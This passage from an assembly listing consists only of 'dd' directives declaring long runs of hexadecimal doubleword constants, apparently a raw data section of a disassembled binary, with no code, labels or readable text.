		dd 0FF3FB000h, 0DE80774h, 7310E4B1h, 8AA3D818h,	380D9F00h
		dd 84EA8C7Eh, 991B30F8h, 0F0FFCAA8h, 0F906710Fh, 203C0056h
		dd 0A087EA76h, 0D641ECh, 0F374F730h, 0D4171286h, 0C509E076h
		dd 2B922340h, 0F8A901E8h, 3C76A7BAh, 7C7F0D00h,	766BDBEFh
		dd 90547826h, 414DD4A0h, 82112190h, 0F94D563Bh,	5BD20016h
		dd 0A9E36459h, 0C807744Ah, 0CA71B7DDh, 5071BC0h, 52220035h
		dd 0E675E29Fh, 1E000645h, 0A420BA6Ah, 3DA05E01h, 0F31312B6h
		dd 407C7504h, 46FAD7F4h, 63006076h, 2ADFBB53h, 19D625F8h
		dd 9A044BF9h, 840028EEh, 6B30C05Ch, 7C92F485h, 23180A00h
		dd 0D33079A0h, 7A0F072Dh, 47F269B7h, 2250060h, 6AC4223Dh
		dd 89062FDh, 999BDC85h,	0E0804928h, 0A7B46E82h,	0EDB02516h
		dd 6848AF13h, 0E0E0671Fh, 0C45A7395h, 0B2B4D114h, 0E92E00C0h
		dd 80B742F8h, 252A0549h, 0A95A10h, 3D7EEE98h, 303C44A3h
		dd 0F7129245h, 4DB3AC00h, 5CFF93h, 9DC37760h, 7470B03Dh
		dd 0E8348B00h, 0E9F214C1h, 449501B1h, 5FEC7CF4h, 5DAC4113h
		dd 0D589204Dh, 0F700589Ah, 0BCFF1211h, 6A86CCh,	819A3A84h
		dd 0FC43A9EBh, 0A1A27709h, 2110A322h, 880FDEEh,	3188BBh
		dd 1FE630BFh, 47F4977Ch, 0BAB3EB00h, 0A6898C2Ch, 0F6DE00A5h
		dd 0F01A9316h, 5400A450h, 977628C1h, 4CF2704Dh,	3709B489h
		dd 0B7069965h, 6202E0F4h, 3B4D31EFh, 0A1C06040h, 419D00EDh
		dd 3009C199h, 20EEEB04h, 0D5A6C0C2h, 0AE4440CBh, 1C24941Fh
		dd 0D8B1710Dh, 1E9AC46h, 0FB7B7500h, 5837C773h,	8003C482h
		dd 0E0DE61Bh, 635D3000h, 6DC8D5DFh, 26EDFA49h, 0C84F5Ch
		dd 3F903326h, 0F804E0C7h, 9FB31764h, 0ED45A3C0h, 0BCEE0092h
		dd 3FA70187h, 0AF75C19Eh, 4C3CD000h, 34DF09B7h,	908912B4h
		dd 0E69100BDh, 5DA17B38h, 0F0E1D00h, 2D953FBAh,	0EDEA0966h
		dd 0B8004010h, 0D16DB2FFh, 0AF928D50h, 0C9465500h, 948A1DF5h
		dd 1ECCFAB0h, 70C84FFh,	601B1FDCh, 0D4C34A80h, 912EF000h
		dd 0EAED3A06h, 17C7F52h, 0A31E0CB1h, 0F2CAF96Ah, 8C0084C4h
		dd 1830F838h, 0E38BF2h,	1AF0359Eh, 0DED1A4FAh, 0B0EA000h
		dd 83242C5Ch, 2691886h,	2B2668B1h, 4F897700h, 0B3F0885Fh
		dd 0E3A60066h, 0AAB55CCAh, 46000C38h, 8EC2999Fh, 9B178BEh
		dd 7AA47B28h, 90CA0755h, 0C64B40BFh, 2CA96414h,	1DB45644h
		dd 0E67A0E49h, 0F41803CCh, 52008478h, 667C8F6Eh, 0E0196F0Dh
		dd 46902EF6h, 0B1810009h, 0B851D303h, 0CF587500h, 0EC4FCA22h
		dd 0D4D90019h, 7D1F6848h, 0D701FBB5h, 0D2C1AC64h, 65C80EA6h
		dd 6A140012h, 1EF53EAFh, 0F0001333h, 46065289h,	0FA98FDB0h
		dd 0FE4F002Fh, 0C4B837C6h, 0C18D6B9h, 59CC58D8h, 0B2A60012h
		dd 242785F9h, 6E7C8E01h, 498A5E03h, 0C8C61A7Ah,	3CA6EBh
		dd 14094A04h, 2E6E9ED6h, 0A27AA703h, 88F283A8h,	0C179BBh
		dd 630B213Dh, 0F8C4CFD4h, 4C00E377h, 0E190CC75h, 396780h
		dd 0A2469874h, 0FEAFD3F5h, 406AB200h, 0C19BE131h, 0F8EB0A7Ah
		dd 0B43EBDh, 27927E24h,	320076B2h, 0B3156E13h, 18C1A2F8h
		dd 9807A02Dh, 11C127Eh,	2B9ECEE6h, 0AD320C41h, 0D8F7BF16h
		dd 0B21410AAh, 843E009Ch, 0A785BECh, 0A8009B22h, 6ECFF986h
		dd 0EAC51Bh, 7C4C9915h,	0C8CDD6B3h, 9678F300h, 6BADA691h
		dd 7DC1074Eh, 60880F25h, 28E0E36Eh, 4A5B9C00h, 0F89D64F1h
		dd 780E007Dh, 690BAE58h, 0FC00466Dh, 0A3EDE1A0h, 0EAD2B064h
		dd 0A13C00BEh, 0F39C9E8h, 5201AC6Ah, 0C09F8820h, 0B2C4550Bh
		dd 0A4E15141h, 3E9A4BECh, 580B910h, 0A3EE5F25h,	582CB667h
		dd 37009016h, 6E8426Fh,	24597D87h, 83BC85FCh, 4988E432h
		dd 44BE26D8h, 0E1A22237h, 8104ABE0h, 0D866008Bh, 9227CE3Eh
		dd 0B509A10Dh, 76CB0E9h, 0B7A041B8h, 0FD45F0h, 1D06A461h
		dd 0BBD35D18h, 0B1ACBE02h, 0E015F774h, 1FD28Ch,	46D7E565h
		dd 0EB456EF0h, 803E8E01h, 0C077C4CCh, 0F6B2C0F2h, 0E1BB00E4h
		dd 3BB17BE8h, 0F55CEE59h, 5E8E00C8h, 5D49FA55h,	1FEA0006h
		dd 8289D91Ch, 9479AE1Ah, 1E00C7FEh, 0EE692B86h,	0D05902h
		dd 5716D447h, 7F719A84h, 7B24FB00h, 0EF74274Dh,	0B864006Dh
		dd 6A01328Bh, 0FB00AE21h, 1A46A97Ah, 718F8812h,	36C612D0h
		dd 7C0C073Ah, 768B60A3h, 0A007EF83h, 4F543449h,	0CDE09310h
		dd 517E0026h, 5F87AC48h, 723943D5h, 4BBA58h, 9637CF02h
		dd 0DA7AD3h, 0A4F63B14h, 28ADC385h, 50573605h, 0D90B0BB4h
		dd 39B422CDh, 0A1904034h, 0D47138h, 73F42C8Ah, 3D0940D9h
		dd 77DA6D00h, 0FE4D75B9h, 0D8FC2C3Fh, 3BE44108h, 5FC608Eh
		dd 0B677F58h, 8ED2F8F1h, 2ABF00C6h, 0C3C70145h,	0A53C4968h
		dd 0C54338C0h, 0A95410C7h, 304FF281h, 0E4A5C400h, 598D1101h
		dd 0A898B037h, 91B6FF0h, 35400EC8h, 7028B507h, 7F9C4508h
		dd 0AB1C39C1h, 0CBD9C79Ah, 0BD0AD874h, 46B6D00h, 990F4A65h
		dd 0A03D27E1h, 0B1308EA8h, 18CB008Fh, 4781C5A6h, 0F47B01FCh
		dd 8CF650Ch, 1CAB03Eh, 0D6A48588h, 0C6B994A5h, 4B4F7300h
		dd 0C46424B1h, 0EA4186E8h, 38007934h, 5994517Ah, 60DFF3h
		dd 0C875D37h, 0AF649BDAh, 7165A800h, 44CC513h, 0A9F645h
		dd 0CB4F27Ah, 5F30EFCBh, 813D6831h, 0EAF00969h,	1C406B1h
		dd 87489F1h, 0E400FA4Bh, 0EE0CC207h, 0D74D15F8h, 4E00E8CCh
		dd 0EAF6E940h, 0C50C45BEh, 0A1B9D1E7h, 0FA7500B2h, 0CE60C4A7h
		dd 260096DAh, 72EA2354h, 0AD464Fh, 3A2B287Bh, 99589293h
		dd 0AA96A306h, 3180BB2h, 9C06A19h, 50001F5Ah, 51050331h
		dd 431C47h, 0DCB43AA9h,	54EF63FCh, 7E1D0F18h, 837DC640h
		dd 0C309D91Fh, 32D01446h, 47913F11h, 2398013h, 8AB23DB8h
		dd 2195D886h, 315F1B00h, 82916C0Dh, 0FE98C5A4h,	1C2000B3h
		dd 0B5464D30h, 77AD3458h, 574A9300h, 96FA39Ah, 0CEC52AC1h
		dd 812A0090h, 7D4F689Bh, 4032A194h, 0A021087Ch,	9B988AE8h
		dd 2DCC0AC5h, 868808EDh, 50C636ABh, 597ACE0Ch, 5280187Fh
		dd 0F306BC23h, 803571D5h, 7AE7E0C1h, 2880A301h,	6ED9D61Ch
		dd 74000D05h, 0C6711F9h, 1CEAAEA1h, 40B81F08h, 0F48FFDD4h
		dd 5D008220h, 0DAE56AC6h, 0EC25DF98h, 964F00C8h, 7D4E847Ah
		dd 633F553Bh, 0F5EBF3B5h, 0CE58E897h, 8C0FFA00h, 6891EB9Eh
		dd 770400B4h, 7DA4D8C1h, 4B035C49h, 8B857CB9h, 3E05F00Ch
		dd 35980330h, 27154C95h, 8EB929A3h, 8BE9Fh, 918044E4h
		dd 1C347C2Dh, 0AEC0DFh,	0F85DEC93h, 5301A5C6h, 0B749319Dh
		dd 32CC2063h, 0C88C30E5h, 0DB747541h, 0DE1DDD03h, 30162279h
		dd 0D5219909h, 0BC0FDBB9h, 0A024B712h, 0BA1E3771h, 0B8B58894h
		dd 338DF018h, 245811h, 0EB11CBEh, 0C36548C2h, 29C09960h
		dd 2C506A7Fh, 640CB0h, 2EB93622h, 0F506A9C6h, 0BD1B4CC9h
		dd 107200E1h, 0FFE380D5h, 0F100E0E9h, 75E2082h,	3FDA052Eh
		dd 8A011CACh, 6429C55Dh, 8039B8D5h, 9CB6E990h, 1A212h
		dd 40C087A1h, 0CAA4391Eh
		dd 91708F78h, 0AA303660h, 0E832102Dh, 0DF4D7480h, 0DE0C0740h
		dd 0C64447BBh, 0D500590Bh, 0AD57E8A4h, 1D9B7E01h, 290509A2h
		dd 9C6000C8h, 0ACB0E7E8h, 610EC337h, 9DC02A94h,	3E7805h
		dd 0E666EED8h, 0EC240926h, 8D84A40Ch, 49B990h, 0B27C544Fh
		dd 0F9CEEABh, 0F7BE9600h, 0D615844Ah, 0E22FC33h, 9F3E9523h
		dd 44278B4h, 7F00A5FEh,	206A064Bh, 20DC9096h, 9CA1CA9Ah
		dd 84B1847h, 39ADF0F5h,	3F4024C4h, 7F72E83Ch, 0A9DFEA0Ch
		dd 0D71925h, 0F86AF2A1h, 7CCFC048h, 47138100h, 0E5D0FDD3h
		dd 0B28A0065h, 377E9C38h, 802903E2h, 0A0003CB8h, 0A1ADF3E8h
		dd 9D448605h, 0E8D80074h, 4BAA0D5Dh, 0C3038D4h,	0A949E12Eh
		dd 1E29C023h, 129D2607h, 8D57EF00h, 0C93BED50h,	0C3B508DDh
		dd 56003613h, 0B0B82473h, 0BC39009Bh, 602FC407h, 95001C84h
		dd 0A1422BCBh, 151A73h,	0DE2149DAh, 0B1478EE6h,	39125C0Fh
		dd 7B0EA016h, 29CDC366h, 79A4BA57h, 0CBA1891h, 377D1D2Fh
		dd 1603EC8h, 5C8C7BA1h,	136E0060h, 0FAB8C1CEh, 0CB027E88h
		dd 0F89284EAh, 55A4800Ah, 1046BA71h, 71A54927h,	1DCF9418h
		dd 0C021A049h, 6A9A6B71h, 0CB080B2h, 88F34720h,	1154110h
		dd 84722453h, 802FA739h, 0F261C719h, 0DBF057h, 2CC2BC4Bh
		dd 1FA34CB6h, 0A18A7E02h, 0C96A782Eh, 6D18CC54h, 1D2ADB04h
		dd 0A2C06B6h, 6ADB7203h, 30B3EA0h, 540ECAB1h, 0FCA8EAE4h
		dd 0AC00359Ch, 163F3ACBh, 0C01F21ABh, 4ABF2D29h, 7B723373h
		dd 0B627B90Ch, 3FB559CAh, 22F9CCD3h, 0C0005C3h,	600BE80Fh
		dd 0CB7961h, 0E1E6A2ECh, 0DF162178h, 3D264009h,	47282122h
		dd 0C1C959FDh, 54724C40h, 4F6D006Fh, 0C83AE98Bh, 0A4554938h
		dd 0D3D2D4DCh, 0CC56BB0Fh, 214662DCh, 3AF8A3ACh, 0B299009Eh
		dd 9115360Ah, 0DC7401D4h, 3B23C016h, 0C7FFC420h, 95B1074Dh
		dd 0B0608967h, 61B70125h, 0C3D92C63h, 9D910708h, 837FC4A0h
		dd 21D887ABh, 3039B63Ah, 0FD07800Eh, 0E5E3FF8Ch, 0B81505CFh
		dd 5D38184Ch, 28100DE8h, 34FBF3E9h, 7A481905h, 0A81F0FAEh
		dd 193B9D0Ch, 0A1BB618Eh, 0F4CD8863h, 0AC0055C0h, 60D7759Fh
		dd 0F6DDD699h, 5F7CA1h,	54B5206Eh, 4B5BE36Ch, 0B0E53704h
		dd 0C98CF32h, 7426906Eh, 110C931Eh, 0BB0F009Ah,	1EDD33DBh
		dd 0FA4501A3h, 800C232Fh, 0EB026B6h, 6439E8AEh,	933205D1h
		dd 0E8E67620h, 3F1500A6h, 5AE20DEBh, 0E18822C3h, 0F3160650h
		dd 79C98CB8h, 0A7817409h, 30A00404h, 5491E45h, 40763E4Ch
		dd 0AF5BAEF8h, 0BF00118Eh, 0B041C961h, 3DC0859h, 423B8FD9h
		dd 8938FEA9h, 1BFC8755h, 59129B32h, 899CE0C1h, 5E15882Dh
		dd 24629403h, 0C0B2A553h, 91A03217h, 0A29100C0h, 0CC0C75FBh
		dd 0E56E8A1Dh, 0F0C1C257h, 142488A7h, 3DD218E4h, 5A7FA14Ch
		dd 0C4B95F00h, 98537989h, 0EE10012h, 62D028Ch, 1600C249h
		dd 0DCFA70B5h, 0CF341A3Dh, 0A0F35A38h, 0E5078AA4h, 56D10578h
		dd 1DF2600Eh, 75950162h, 6902652Ch, 4ECCC83Eh, 5A00537Dh
		dd 8B24B3ACh, 218574Ch,	1552A2CFh, 0F8679576h, 0A9609344h
		dd 0F43F243Eh, 3CE60E6Eh, 0B71E2148h, 8034C090h, 0D0A6548Dh
		dd 0FF0D008Ch, 9B24E95h, 74006A89h, 32F03FE4h, 3056C46Fh
		dd 0AB103EAh, 6E001102h, 0F9B7F6B1h, 12B644h, 0B5664AA5h
		dd 67DD15F4h, 0BB65F0C2h, 0D17481ABh, 0DF40C00Dh, 3D4BB530h
		dd 79CB081h, 0BE600153h, 0FEAC6422h, 3909B048h,	1EA7F401h
		dd 0A6C9C0CCh, 0C02A0024h, 0F4C46B21h, 8075EAEh, 6EAAB73Bh
		dd 0DAFB5C11h, 0BF01BC23h, 0C652B8A5h, 5B30D008h, 2C7B3600h
		dd 3234D5AAh, 0C0174CCEh, 149A8E05h, 0D48D10F2h, 692B6076h
		dd 33E534CEh, 600F4A4h,	0DCF5E33Ch, 2D564Dh, 0E25F24ABh
		dd 0A531A323h, 683A40C9h, 39693D18h, 1880A6A1h,	0F36709Ch
		dd 0F00ACCEAh, 0C08ED1ECh, 38F19F47h, 2DED85FEh, 1D8A39ECh
		dd 0F9F63777h, 0EFFF1582h, 270735A7h, 98C1DF41h, 0D30011BDh
		dd 0D089778Fh, 1B492528h, 8178486Ch, 558F64DFh,	0A2073873h
		dd 0E087F64Eh, 0BB6C3D57h, 3E6A7A58h, 52127DCAh, 8104D01Eh
		dd 588B1438h, 0D4AF3100h, 700A7D28h, 982EA700h,	3B72A144h
		dd 5D1C097h, 0E2D357D8h, 0AB76F000h, 0DCCF9563h, 537BEE1Dh
		dd 0CD00B02Dh, 0A8819880h, 0B51649D9h, 0AC20ABCAh, 1662725Bh
		dd 213DB3EFh, 0C40D73F4h, 9B48F49Ch, 0C5AE00BBh, 77CA4B50h
		dd 280400DAh, 71AD2CB4h, 0B5177221h, 84229F49h,	7AA0C48Eh
		dd 0CB0E002Ch, 3BFA2B80h, 0E700894Bh, 0C5DD87A2h, 0CFC8390h
		dd 263D9763h, 810F73A9h, 8196683Ah, 0DE774C20h,	47B420F6h
		dd 0B0025Fh, 0A21E260Dh, 0D400AEEDh, 40C2243h, 5D923CABh
		dd 0D31080FCh, 7901AC1Dh, 0A4371BA0h, 58387D8Ah, 0CDD8DF31h
		dd 64588D96h, 0E42238D4h, 9AE6DC00h, 20B3CC8Fh,	841879F0h
		dd 2E4906DBh, 40EAF313h, 1440A768h, 18E5F177h, 7E00B78Eh
		dd 0D3169B64h, 71FC275Dh, 0A6EB5100h, 6274AA91h, 3A6100FAh
		dd 0CEB09DE0h, 3804AC20h, 0C37C9412h, 798A1CC0h, 0FF180091h
		dd 0C48455B2h, 4A093A48h, 4172A28Eh, 0B998E594h, 0E997F170h
		dd 41552514h, 7136229Ch, 6FF47B8Ch, 0B6231149h,	5EC1E2CDh
		dd 3EF960ECh, 1EFC4F54h, 3DD6F500h, 0E4F1A3C6h,	143417ACh
		dd 0B57400AFh, 4BC856F3h, 0B94540C0h, 39D0212h,	0BAC033D6h
		dd 883E97A1h, 306F145Ah, 0D0CC40D4h, 0CD03389Bh, 0D4234BCBh
		dd 77100064h, 0B33BF4C8h, 18FA9207h, 4DB7F966h,	128E70D0h
		dd 0A2D60037h, 20602F16h, 35FE9685h, 99871004h,	0CA457E44h
		dd 78901009h, 0D210FC58h, 0DB73C48Dh, 0E7669482h, 6324FCh
		dd 0E71D17DBh, 58C1CDA1h, 4CBA322Eh, 0D3292429h, 0DB5A0128h
		dd 194E1D67h, 73008C62h, 4BE8DB47h, 8A26AA95h, 6600D9A5h
		dd 0D7A7A84Eh, 92D10504h, 927E068Dh, 0A2307244h, 0ADCD08E8h
		dd 90647EB1h, 0E8DA6243h, 325099E8h, 20F7600h, 95BB2DA7h
		dd 0A593183Ch, 55A058CAh, 3237C500h, 7B286C29h,	0F1AB00B7h
		dd 0CE816776h, 6E7C2431h, 0B005BA01h, 231BC12Ah, 252F0h
		dd 0F8078FB1h, 0ACFC8EF4h, 0A89CDF03h, 993ED845h, 4CD03AE8h
		dd 1BCF8A1h, 57EAD394h,	0E828564Fh, 0AC01EF0Bh,	0E6CB42B0h
		dd 5FE07CECh, 351F0047h, 9D44966Ah, 8E07153Eh, 945DCDACh
		dd 0F9AA6940h, 0BDC41F14h, 0B7EA0387h, 50186F07h, 8E6859DFh
		dd 0EB460076h, 1FCD7BA5h, 1A03CEE7h, 0F66D9D61h, 3C19012Bh
		dd 0D86EFA7Ch, 3BFDF0C9h, 263C4BF0h, 4CB70662h,	0FC28B643h
		dd 3B6C7195h, 9604F847h, 0C1661ED2h, 0A3ACBD9Ch, 7A000471h
		dd 0B2E79041h, 7FBF0731h, 0A0C6F8EFh, 0A2EA6ACBh, 0E64C5B00h
		dd 3ECD5E21h, 578D1D3Dh, 25BE81C7h, 0F7DF0BA0h,	3E44313Eh
		dd 0A97A0090h, 877F3CF1h, 0EA3000BCh, 60E6CC21h, 0B154C966h
		dd 44322628h, 86AC19DAh, 0C99CAC0h, 0AAE8367Fh,	0C91434A9h
		dd 0C160EA7Dh, 0C1BC201h, 1086A890h, 3C0220FEh,	66B627CCh
		dd 22C390A0h, 502DF41h,	2159B360h, 2A48807Ch, 0A435BDD2h
		dd 84BC567Ch, 7C3CF628h, 6019E69Ch, 0C74818C2h,	84A8BDA2h
		dd 0DE24F7EFh, 0FC000868h, 0F84CB42Ah, 0DC48A321h, 0AEC7F469h
		dd 0B1C649DCh, 0F39B554h, 33A9D942h, 7A8F768Fh,	3607FDC1h
		dd 0F9A982C3h, 87F8E98Ah, 0E1E31F18h, 808E883Fh, 0A1CC30C9h
		dd 3DDFFD59h, 29F339C0h, 0A1A6D88h, 0BDB9243Bh,	0A6CE81CCh
		dd 80BA3D23h, 0A0FE6910h
		dd 0A4BEA34h, 36687F7Ch, 0E799DC8h, 4C0EFA1h, 0FF0C6D8Fh
		dd 0ED84DF0Fh, 0D2220005h, 0C0777342h, 0AA04D11h, 0C67CE57Fh
		dd 94E8353Ch, 403473A9h, 0C1C119DCh, 85B0DF3Eh,	0B45398DFh
		dd 0BD19C1FBh, 0E49F1C8Eh, 923773h, 0D07B137Dh,	98306731h
		dd 2881C2BBh, 0AD979CACh, 8552E18Fh, 0E2CFBE10h, 307D8440h
		dd 7435AFC5h, 3E7BB8h, 7485388h, 6AB490B1h, 60DDF034h
		dd 4239402Ah, 45E06788h, 1201FC51h, 0A940E00Fh,	231F18C0h
		dd 24EE3687h, 86640EBCh, 39D568A1h, 8A545C55h, 0BC694F10h
		dd 2821C518h, 38CF660Fh, 48A05821h, 0D712694Eh,	2C0C61AFh
		dd 938B1D2h, 0D525337Ch, 226C3822h, 0A48B0C87h,	612D48D8h
		dd 0F8D49E37h, 0EC002891h, 315498ABh, 5D03B8h, 6AFB0CBh
		dd 0DF114058h, 0C3C9300h, 0F161A90Bh, 0CCE600CDh, 8F4CCF2Eh
		dd 0DDF08605h, 544F1801h, 62B46A41h, 90A06434h,	0D1C8611Ch
		dd 0FDB0F4h, 7FA26B0Bh,	0F0A898AFh, 0A8AA98B5h,	0F49053F8h
		dd 4A100FB9h, 9C745294h, 3613F23Fh, 0E45E3Ch, 6EBAA8CFh
		dd 44984EBFh, 0A403DD28h, 9700B2F6h, 7A52752Ah,	0B8731E89h
		dd 39FE6C16h, 1A003920h, 8BA9E35h, 186EFC9h, 69CB40AFh
		dd 0EB94EDBCh, 6F3FB100h, 0E84841BEh, 645CE48Ah, 902408E0h
		dd 0BE1A068Ch, 0EFD49407h, 2AB0DDCFh, 2807E88h,	367C5A30h
		dd 0FC9087C2h, 0E9DCEFh, 0F4E006BEh, 35830001h,	0B2713D7Eh
		dd 0BA0D7BF0h, 24674742h, 9AB849ECh, 869B3144h,	0C8E74049h
		dd 0BA010876h, 3FF1EB06h, 4430DB50h, 31B563F7h,	2CD86072h
		dd 51005DEBh, 5B344397h, 392A4648h, 0C4D43AE3h,	4DF800BCh
		dd 534F2158h, 27F8B3DDh, 7818002h, 8F0AE083h, 684CA4D4h
		dd 69FF1700h, 8E50BEB4h, 3A00BDF0h, 361A7AABh, 4185B2ECh
		dd 6F5830EAh, 0D44020h,	51D6CA54h, 411B12CDh, 44296702h
		dd 0C0DBDF1Fh, 0A2DBB04h, 928279BFh, 0E9535820h, 9DC5058Ch
		dd 87AB1710h, 0EB01B3BCh, 4DAED100h, 0E07FE492h, 7AB192Bh
		dd 80A508A8h, 8C860921h, 247EAE8Fh, 5549C1h, 99CE560Fh
		dd 28244DA6h, 39A84437h, 722C9C00h, 53EE6920h, 0B9580B2Dh
		dd 0FC029FB1h, 0F448F27Ah, 0E43F5CDFh, 9B3B802Ah, 2B20C688h
		dd 602EE889h, 0ECEA208Fh, 45CBB29h, 66F20053h, 0C5364108h
		dd 799C1C9h, 0DB63519Dh, 8C47FC0h, 0DA8B5900h, 8AAFB2A9h
		dd 0F4C9A30Bh, 8CBE5488h, 4410F275h, 1FE0E048h,	7400BD56h
		dd 3A410D5Ah, 0FE7CC68Dh, 0C8984Ch, 0BE92EE53h,	600C2D27h
		dd 52CF1h, 4EA1690Ah, 0D64D4B3Dh, 0A3A000C9h, 0B0E5088Eh
		dd 0CB815412h, 35C7041Fh, 88FAB561h, 0FAD983BAh, 0C19609EAh
		dd 90DA9456h, 119241D0h, 88404810h, 3D925Ah, 0C8D96FDBh
		dd 1A24AF43h, 0F420EC7Ch, 811F2F21h, 7FE79244h,	89BB18A8h
		dd 0CA92C8CEh, 0B897B300h, 4C413334h, 3DE20096h, 0EFC8EDAAh
		dd 90B03E32h, 0E1D3E830h, 0C671CFh, 1511C0D5h, 0E73A0428h
		dd 7CA273Bh, 0F23C3D0Eh, 448E5921h, 3EE98DD4h, 3E2CECB5h
		dd 0A8E03691h, 2785D52h, 7FE9924Eh, 1F484718h, 61894008h
		dd 0F6BA06Dh, 0ED59D701h, 411243Fh, 5168020h, 0B64A6A50h
		dd 0A290C8B7h, 0DA794091h, 6C00C818h, 9E61597h,	3C4AE50h
		dd 0A32E573h, 9100F094h, 97CB9A8Eh, 1670B362h, 41EB2438h
		dd 5AA616DCh, 442460F7h, 36427340h, 0A8396F48h,	0EA9CED19h
		dd 0CC22956Eh, 0EF3012F2h, 0B72F0055h, 9764B68Eh, 324928CBh
		dd 53B00C8h, 4296E76Ah,	86590B0Dh, 98057DC4h, 0B5844708h
		dd 0CB4A11F1h, 64A04C3Ch, 219C4C91h, 0A0EC780Ah, 0E5807911h
		dd 5334112Ah, 887DFD43h, 2901EDE9h, 0BC0B0EE1h,	3980B4F7h
		dd 7CABC75Eh, 720AD4B2h, 0A4494338h, 0EA154241h, 5AA25C23h
		dd 0A4FC1B31h, 13E0445h, 0A47DB4B2h, 0DE003474h, 0A4C9D996h
		dd 3FF5E873h, 44BE02B2h, 55A13780h, 0FE229F7Eh,	0ED3E430Bh
		dd 3FECA1BFh, 0CCC53D18h, 0B74106CFh, 582C6144h, 0E869D4E5h
		dd 4D0D4726h, 467C0Bh, 0B1F4BC7Dh, 7F120992h, 38A7CC5Bh
		dd 0F8013956h, 0F84FC213h, 663059DFh, 7A4CF9E8h, 1DA7B86Ah
		dd 59EA5D13h, 5081080Bh, 6956A9E4h, 23404Ch, 387B80DDh
		dd 0B3A77D51h, 0C3737834h, 46BBD844h, 2021A4D5h, 561826E2h
		dd 0D4BD0401h, 0EDE5A26Eh, 4CBB9460h, 0AC058282h, 6F303457h
		dd 1A984504h, 40342404h, 105A8B0Ch, 0A0D30CECh,	9709EFA3h
		dd 0B407321Bh, 1C084450h, 0B08C4AEh, 0A61C05FDh, 0E0062023h
		dd 76A4A92Ah, 0C91B0CBDh, 0A0997EABh, 0E02842E9h, 90131889h
		dd 0A0346041h, 0E540C79h, 0BD52D71Ch, 2B873D90h, 9365042h
		dd 51608430h, 41C085Fh,	0DF98F88Fh, 81EA99F0h, 4C9A00Bh
		dd 0DF0D1C8Ch, 9AC383Ch, 0A33B0C08h, 8C5BE214h,	8E2C8148h
		dd 7E504BF1h, 59D92800h, 0A8A76B2Eh, 3A0F1516h,	0EA0070BBh
		dd 0EB6D8F05h, 39F8CFDEh, 0FCA53474h, 585F04C8h, 6C9459F4h
		dd 33677706h, 50470519h, 0C1464E1Fh, 0D475EE24h, 0F4963885h
		dd 73030B7h, 16C36D2Eh,	433DEF7Fh, 7EC782B4h, 69C83934h
		dd 4CDA09C3h, 3D108458h, 346D0239h, 0E05195EFh,	0B0112FD0h
		dd 40F77580h, 0AB04298Fh, 0F00C2BF1h, 4C693CC8h, 0B306C49Dh
		dd 697D54D2h, 6DEF350Ch, 14485Eh, 63B1E16Ah, 6C2CE013h
		dd 8F03133h, 815AA012h,	6DE3045Ch, 0F0868F4Ch, 8888A0A8h
		dd 0AAF3302Fh, 8996F408h, 0A37EF5F0h, 48B37094h, 9651000Fh
		dd 5067687h, 500179FCh,	0C3E7366Dh, 3DE48C3Eh, 6E740754h
		dd 73EB359Fh, 5A88A057h, 0D879B488h, 0A0945B25h, 644CFB74h
		dd 5836599Bh, 0E94DD419h, 3344E4E9h, 46703D0Fh,	6E89D86Ah
		dd 7D4FB09Ah, 207731h, 7005E06Dh, 6A42C40Bh, 0FBB87F55h
		dd 5773B5E8h, 742CECA8h, 483D88A0h, 38F1E730h, 3E67043Ch
		dd 61896EEDh, 0E0C4B5DAh, 8FEE1CCh, 0BBF21208h,	41D05C54h
		dd 8DAC9BA7h, 33E8F0EEh, 0EFA1A40Ah, 0A8391044h, 0C519B084h
		dd 1FA16E5Fh, 0B00BA844h, 48FE8339h, 0B13000E6h, 72352D14h
		dd 0C45078D0h, 50C9A198h, 3A3825D1h, 0F10A876h,	34DAEE16h
		dd 7D5C3E01h, 30382270h, 0FD3DC136h, 9D752907h,	38C362B8h
		dd 0DA109C19h, 0A100E4C2h, 2C465770h, 7B06AAF0h, 657D00F7h
		dd 1A0181E9h, 350E3E29h, 0A63067E4h, 0F258D3BFh, 6FC31C47h
		dd 0B5187C31h, 366BD0D8h, 83C1803Fh, 0D954C5ECh, 0BC07C548h
		dd 20EF24DDh, 0BE392C75h, 0C3800A1h, 0C8BB4512h, 33482826h
		dd 76CB2250h, 0FC4B243Fh, 90FB94C0h, 0ABFB710h,	0B8F08F5Fh
		dd 0E312698h, 8DA4FE7h,	0D8A0CBA0h, 5FEAB50Eh, 58E88587h
		dd 2FF58C29h, 0ED716A00h, 0E1A49A41h, 8CE80D0Ch, 6E1C4181h
		dd 6C1820EDh, 0C430DA49h, 0E4957E4Bh, 0DC822C1Eh, 84A3689Bh
		dd 0EF02F54Ch, 6084A72Eh, 103E0485h, 3E6A140h, 7F7B36DEh
		dd 32A3C30Fh, 2C87216Ah, 40A54538h, 0FF57E820h,	6096EB5h
		dd 118DDF42h, 299039D8h, 0B677811Bh, 1184C3BBh,	83CA125Fh
		dd 43C5A088h, 8897C958h, 1C3ED1AFh, 424850A3h, 0D574F77Fh
		dd 0CE1FD800h, 4130F43Eh, 808DF977h, 8020F2DEh,	0B85743B0h
		dd 0E1483E4Ch, 3AE08C20h, 0E8BC0D21h, 417818B2h, 0EDF22920h
		dd 1D2B333Bh, 2ED31871h, 41AB73A1h, 530B7468h, 3951BBB0h
		dd 9B5C2034h, 9480A096h, 3C3467D3h, 0BAF0C06Eh,	362714B2h
		dd 1C492901h, 0A0F76987h, 88D40C20h, 10DAE117h,	98C0469h
		dd 96700C80h, 19B960DCh
		dd 0FC080CB2h, 47E83618h, 1E3CC281h, 0CA1C960h,	6E10E62Fh
		dd 0F1FFF301h, 6AB49F68h, 0C8506429h, 1893F886h, 10A28FBEh
		dd 2A07F27Dh, 35125717h, 85C8A832h, 9840018Ch, 0B1B750E5h
		dd 29880E10h, 5353C743h, 5B3C00FCh, 0F7351FA4h,	0DE0088A4h
		dd 0F5736DB1h, 64866Ch,	7F4FCD75h, 38553D9Fh, 0B5312177h
		dd 0AE4B91B8h, 0B0233980h, 0C7564527h, 801AA125h, 3544BE74h
		dd 955F03A5h, 4EF8C184h, 2BE54CE8h, 0FE53A400h,	62664239h
		dd 10756021h, 507F4376h, 0BFCF8E00h, 9457347Ch,	30B4A83Eh
		dd 871D0068h, 352B28D8h, 8F011C44h, 0EA94524Ch,	4039F70Ch
		dd 0C087820Fh, 29430640h, 0B0009296h, 0EC02ED64h, 58BF0D08h
		dd 0E84C3379h, 89501180h, 62092163h, 2A30A69h, 5AA307Ch
		dd 388CA4F4h, 0B1E98801h, 0C461BEF7h, 97CB803Fh, 0C89C5622h
		dd 1C6B289h, 19715FA2h,	44EAh, 1407557Ch, 37C91DE9h, 0D13C610Eh
